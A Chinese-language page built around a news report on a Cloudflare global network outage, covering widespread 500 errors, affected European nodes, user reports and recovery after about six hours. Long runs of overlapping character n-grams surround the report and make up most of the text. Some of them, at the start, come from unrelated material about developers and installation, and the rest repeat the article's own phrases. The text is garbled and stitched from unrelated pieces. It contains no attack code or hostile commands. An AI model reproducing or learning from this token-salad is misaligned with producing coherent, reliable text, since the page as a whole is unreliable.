都可以花 可以花尽 以花尽可 花尽可能 尽可能多 可能多或 能多或尽 多或尽可 或尽可能 尽可能少 可能少的 能少的时 少的时间 的时间来 时间来根 间来根据 来根据自 根据自己 据自己的 自己的需 己的需求 的需求定 需求定制 求定制一 定制一个 制一个可 一个可运 个可运行 可运行的 安装 在此 此过 过程 程中 在此过 此过程 过程中 在此过程 此过程中 开发 发人 人员 员将 将在 在现 现场 场与 与每 人保 保持 持一 一致 致的 的互 开发人 发人员 人员将 员将在 将在现 在现场 现场与 场与每 与每个 个人保 人保持 保持一 持一致 一致的 致的互 的互动 开发人员 发人员将 人员将在 员将在现 将在现场 在现场与 现场与每 场与每个 与每个人 每个人保 个人保持 人保持一 保持一致 持一致的 一致的互 致的互动 使用 破解 解游 游乐 乐场 破解游 解游乐 游乐场 破解游乐 解游乐场 这导 导致 致了 了结 的下 下一 个重 重大 大变 变化

Cloudflare 正在调查影响其全球网络服务的中断。用户在访问受影响的网站和在线平台时会遇到“内部服务器错误”提示。 Cloudflare的全球网络是由遍布120多个国家、330多个城市的服务器和数据中心组成的分布式基础设施，提供内容分发、安全防护和性能优化服务。 该网络全球边缘节点的总带宽容量达到449太比特每秒（Tbps），已与全球超过13,000个网络建立连接，包括所有主要互联网服务提供商（ISP）、云服务提供商和企业网络。 事件进展及官方通报目前，Cloudflare已确认相关问题，称其支持门户出现可用性故障。随后，该公司发布了一份新的事件报告，警告客户Cloudflare 的全球网络也出现了服务异常。 Cloudflare 表示：“我们已经意识到并正在调查一起影响多个客户的事件。具体表现是大范围出现500 错误，Cloudflare 控制台和API 无法正常使用。我们正在尽力调查该事件的完整影响并促进问题缓解，并将及时更新进展情况。” 影响范围监控虽然Cloudflare尚未透露该事件的具体影响规模，但相关测试显示，目前欧洲多个Cloudflare节点出现宕机，包括布加勒斯特、苏黎世、华沙、奥斯陆、阿姆斯特丹、柏林、法兰克福、维也纳、斯德哥尔摩和汉堡的节点。 自停电以来，故障监控服务DownDetector 已收到数万份用户报告。受影响的用户普遍遇到服务器连接失败、网站无法访问、主机服务异常等问题。 数十万DownDetector 用户报告了Spotify、Twitter、OpenAI、亚马逊云服务(AWS) 和Google 等多个在线服务的使用和连接问题，但这些故障不一定与Cloudflare 中断有关。 过往类似宕机回顾今年6 月，Cloudflare 又经历了一次大规模宕机，导致多个区域的零信任（Zero Trust）WARP 连接失败和访问身份验证失败，甚至影响了Google Cloud 基础设施。 10 月份，该公司还处理了一次重大DNS 故障导致的服务中断问题，导致其亚马逊云服务(AWS) 平台上数百万个网站和在线平台的连接被阻止。 Cloudflare 表示，它已显示出一些恢复的迹象，但在修复继续期间，客户可能仍会遇到高于正常水平的错误率。 UTC 时间11 月18 日13:13，Cloudflare 在最新更新中表示，部分服务已恢复，其余服务仍在修复中：“我们通过相关调整恢复了Cloudflare Access 和WARP 服务。这两项服务的用户错误率已回落至事件发生前的水平，伦敦地区的WARP 访问已重新启用。我们将继续推进应用服务客户的服务恢复工作。” 中断六小时后，Cloudflare 宣布所有问题均已解决。据了解，目前所有Cloudflare服务运行正常，网络内未出现异常错误或延迟情况。 Cloudflare 工程团队将继续密切监控该平台并对此次中断进行深入调查。此时不会进行任何配置更改。 正在 在调 调查 查影 影响 响其 其全 全球 球网 网络 络服 服务 务的 的中 中断 正在调 在调查 调查影 查影响 影响其 响其全 其全球 全球网 球网络 网络服 络服务 服务的 务的中 的中断 正在调查 在调查影 调查影响 查影响其 影响其全 响其全球 其全球网 全球网络 球网络服 网络服务 络服务的 服务的中 务的中断 用户 户在 在访 访问 问受 受影 响的 的网 网站 站和 和在 在线 线平 平台 台时 时会 会遇 遇到 用户在 户在访 在访问 访问受 问受影 受影响 影响的 响的网 的网站 网站和 站和在 和在线 在线平 线平台 平台时 台时会 时会遇 会遇到 用户在访 户在访问 在访问受 访问受影 问受影响 受影响的 影响的网 响的网站 的网站和 网站和在 站和在线 和在线平 在线平台 线平台时 平台时会 台时会遇 时会遇到 内部 部服 务器 器错 错误 内部服 部服务 服务器 务器错 器错误 内部服务 部服务器 服务器错 务器错误 提示 的全 络是 是由 由遍 遍布 的全球 网络是 络是由 是由遍 由遍布 的全球网 球网络是 网络是由 络是由遍 是由遍布 多个 个国 国家 多个国 个国家 多个国家 个城 城市 市的 的服 器和 和数 数据 据中 中心 心组 组成 成的 的分 分布 布式 式基 基础 础设 设施 多个城 个城市 城市的 市的服 的服务 务器和 器和数 和数据 数据中 据中心 中心组 心组成 组成的 成的分 的分布 分布式 布式基 式基础 基础设 础设施 多个城市 个城市的 城市的服 市的服务 的服务器 服务器和 务器和数 器和数据 和数据中 数据中心 据中心组 中心组成 心组成的 组成的分 成的分布 的分布式 分布式基 布式基础 式基础设 基础设施 提供 供内 内容 容分 分发 提供内 供内容 内容分 容分发 提供内容 供内容分 内容分发 安全 全防 防护 护和 和性 性能 能优 优化 化服 安全防 全防护 防护和 护和性 和性能 性能优 能优化 优化服 化服务 安全防护 全防护和 防护和性 护和性能 和性能优 性能优化 能优化服 优化服务 该网 络全 球边 边缘 缘节 节点 点的 的总 总带 带宽 宽容 容量 量达 达到 该网络 网络全 络全球 全球边 球边缘 边缘节 缘节点 节点的 点的总 的总带 总带宽 带宽容 宽容量 容量达 量达到 该网络全 网络全球 络全球边 全球边缘 球边缘节 边缘节点 缘节点的 节点的总 点的总带 的总带宽 总带宽容 带宽容量 宽容量达 容量达到 太比 比特 特每 每秒 太比特 比特每 特每秒 太比特每 比特每秒 已与 与全 球超 超过 已与全 与全球 全球超 球超过 已与全球 与全球超 全球超过 个网 络建 建立 立连 连接 个网络 网络建 络建立 建立连 立连接 个网络建 网络建立 络建立连 建立连接 包括 括所 所有 有主 主要 要互 互联 联网 网服 务提 供商 包括所 括所有 所有主 有主要 主要互 要互联 互联网 联网服 网服务 服务提 务提供 提供商 包括所有 括所有主 所有主要 有主要互 主要互联 要互联网 互联网服 联网服务 网服务提 服务提供 务提供商 云服 商和 和企 企业 业网 云服务 供商和 商和企 和企业 企业网 业网络 云服务提 提供商和 供商和企 商和企业 和企业网 企业网络 事件 件进 进展 展及 及官 官方 方通 通报 报目 目前 事件进 件进展 进展及 展及官 及官方 官方通 方通报 通报目 报目前 事件进展 件进展及 进展及官 展及官方 及官方通 官方通报 方通报目 通报目前 已确 确认 认相 相关 关问 问题 已确认 确认相 认相关 相关问 关问题 已确认相 确认相关 认相关问 相关问题 称其 其支 支持 持门 门户 户出 出现 现可 可用 用性 性故 故障 称其支 其支持 支持门 持门户 门户出 户出现 出现可 现可用 可用性 用性故 性故障 称其支持 其支持门 支持门户 持门户出 门户出现 户出现可 出现可用 现可用性 可用性故 用性故障 随后 该公 公司 司发 发布 布了 了一 一份 份新 新的 的事 件报 报告 该公司 公司发 司发布 发布了 布了一 了一份 一份新 份新的 新的事 的事件 事件报 件报告 该公司发 公司发布 司发布了 发布了一 布了一份 了一份新 一份新的 份新的事 新的事件 的事件报 事件报告 警告 告客 客户 警告客 告客户 警告客户 络也 也出 现了 了服 务异 异常 网络也 络也出 也出现 出现了 现了服 了服务 服务异 务异常 球网络也 网络也出 络也出现 也出现了 出现了服 现了服务 了服务异 服务异常 表示 我们 们已 已经 经意